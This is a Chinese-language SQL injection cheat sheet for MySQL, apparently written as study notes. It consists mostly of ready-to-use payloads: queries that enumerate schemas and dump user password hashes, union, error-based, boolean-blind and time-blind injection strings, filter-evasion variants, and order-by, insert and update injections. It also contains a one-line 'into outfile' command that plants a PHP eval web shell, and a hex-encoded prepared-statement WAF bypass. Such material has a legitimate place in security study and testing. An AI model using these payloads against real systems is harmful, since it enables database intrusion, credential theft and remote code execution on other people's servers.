sql注入详解总结
1.常用信息语句
当前数据库:database()
当前用户:user()
数据库版本号:version()
当前操作系统:@@version_compile_os
所有用户
select group_concat(user) from mysql.user;
mysql在5.7.20版本后添加了两个新的用户
mysql.session和mysql.sys
mysql.sys@localhost:用于 sys schema
中对象的定义。使用 mysql.sys
用户可避免DBA
重命名或者删除root
用户时发生的问题。该用户已被锁定,客户端无法连接。
mysql.session@loaclhost:插件内部使用来访问服务器。该用户已被锁定,客户端无法连接。
所有用户hash值:
select group_concat(authentication_string) from mysql.user where user="root";
mysql在5.7版本之后将user中password字段变为了authentication_string
所有数据库名
select group_concat(schema_name) from information_schema.schemata;
某数据库中所有表名
select group_concat(schema_name) from information_schema.tables where table_schema='库名';
表信息表中有主码约束,非空约束等完整性约束条件的才能用这个语句查询出来
select group_concat(table_name) from information_schema.table_constraints where table_schema='库名';
字段名
select group_concat(column_name) from information_schema.columns where table_name = '表名';
读文件
select load_file('路径')
在mysql的配置文件my.ini中
secure-file-priv字段 : secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
-
ure_file_priv的值为null ,表示限制mysqld 不允许导入 导出 -
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入 导出只能发生在/tmp/目录下 -
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入 导出做限制
查看secure-file-priv参数的值:
show global variables like '%secure%' ;
写文件
select '<?php @eval($_POST[cmd]) ?>' into outfile 'var/www/html/shell.php'
UNION 注入
1.1猜测字段长度
order by number
1.2 爆字段位置
and 1=2 union select 1,2;
1.3基本语法
union select 1,password,2;
报错注入
mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法
2.1floor
?id=1 OR (SELECT 8627 FROM(SELECT COUNT(*),CONCAT(0x70307e,(SELECT user()),0x7e7030,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
2.2extractvalue
extractvalue(1,concat(0x7e,(select version()),0x7e))
2.3updatexml(最多32位)
updatexml(1,concat(0x7e,(select database()),0x7e),1);
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据。
2.4NAME_CONST
and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
不太好用
2.5 Error based Double Query Injection
select 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1;
……(失败)
2.6 exp
id=1 and (select exp(~(select * from(select user())x)))
解释:
1、先查询 select user() 这里面的语句,将这里面查询出来的数据作为一个结果集 取名为 a 2、然后 再 select * from a 查询a ,将 结果集a 全部查询出来 这里必须使用嵌套,因为不使用嵌套 不加select*from 无法大整数溢出
2.7 polygon
select *from user where username='' and polygon(username);
ERROR 1367 (22007): Illegal non geometric '`user`.`user`.`username`' value found during parsing
BOOL盲注
select * from user where username='admin' and (select substr(version(),1,1)=5);
//正常情况
'or bool#
true'and bool#
//不使用空格、注释
'or(bool)='1
true'and(bool)='1
//不使用or、and、注释
'^!(bool)='1
'=(bool)='
'||(bool)='1
true'%26%26(bool)='1
'=if((bool),1,0)='0
//不使用等号、空格、注释
'or(bool)<>'0
'or((bool)in(1))or'0
//其他
or (case when (bool) then 1 else 0 end)
3.1构造逻辑判断
left(user(),1)>'r' #从左边开始第一位,1代表长度
right(user(),1)>'r' #从右边开始第一位,但当大于2时,字符串不是倒序,是原先的顺序
substr(user(),1,1)='r' #切割字符串,第一位是开始位置,第二位是长度,位置从1开始
mid(user(),1,1)='r' #切割字符串,和substr一样
greatest("a",database()); #返回最大值在与字符串比较
least("b",database()); #返回最小值再与字符串比较
user() regexp '^[a-z]'
user() like 'root%' //注意%通配符,建议写脚本的时候时候写到字符集最后面
POSITION('root' in user())
mid(user() from 1 for 1)='r'
mid(user() from 1)='r'
ASCII() #函数返回特定字符的ASCII值。如果输入了多个字符,则只返回第一个字符的值
ORD() 函数返回字符串第一个字符的 ASCII 值。
CHAR() 返回每一个传入的整数所对应的字符
CHAR_LENGTH(); #返回str的长度
hex() #转16进制
bin() #转2进制
延时盲注
相对于bool盲注,就是把返回值0和1改为是否执行延时,能用其他方法就不使用延时。
一般格式if((bool),sleep(3),0)
和or (case when (bool) then sleep(3) else 0 end)
BENCHMARK()用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu资源。推荐使用sleep()
select if ((substr(user(),1,1)='r'),benchmark(109999990,md5("dasdawdasd")),0);
如果两个函数sleep和benchamark都被ban掉的话,
方法一:可以使用表之间的笛卡尔积造成延时效果;
select if((substr("a",1,1)='a'),(select count(*) from information_schema.columns join information_schema.schemata join information_schema.tables),1);
方法二:不正确的正则表达式
select if(substr((select 1)='1',1,1),concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1)
mysql注释符
1. -- -
2. -- +
3. /*....*/
4. `
5.
update 和 insert 注入
insert和update一般使用报错注入
如果没有错误回显,insert可以使用延时注入:
update可以使用bool盲注和延时盲注。
还有如果存在insert或者update,更新后的数据是可见的话,那么利用mysql中字符串在与数字进行运算的时候当作是0
进行运算
insert 语法
insert into table_name(column1,column2)values(value1,value2);
update 语法
update table_name set column='' where column='';
select ''+1;
mysql> select ''+1;
+------+
| ''+1 |
+------+
| 1 |
+------+
1 row in set (0.00 sec)
mysql> update users set pw=''+conv(hex(substr(user(),1,6)),16,10) where username='test';
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
mysql> select * from test;
Empty set (0.00 sec)
mysql> select * from users;;
+----------+-----------------+
| username | pw |
+----------+-----------------+
| admin | 1 |
| test | 125822936825964 |
+----------+-----------------+
2 rows in set (0.00 sec)
order by 后的注入
7.1报错注入
1 and extractvalue(1,concat(0x7e,(select user()),0x7e));
7.2bool盲注
order by IF((substr(user(),1,1)='r'),1,(select 1 union select 2));
7.3延时盲注
不推荐,每条数据都会执行一次延时。
order by if(1,sleep(3),0);
无列名注入
别名
select * from user where username='' union select `1`,`2` from(select 1,2 union select *from user)a;
绕过waf总结
SET @SQL=0x73656c65637420646174616261736528293b;
PREPARE pord FROM @SQL;EXECUTE pord;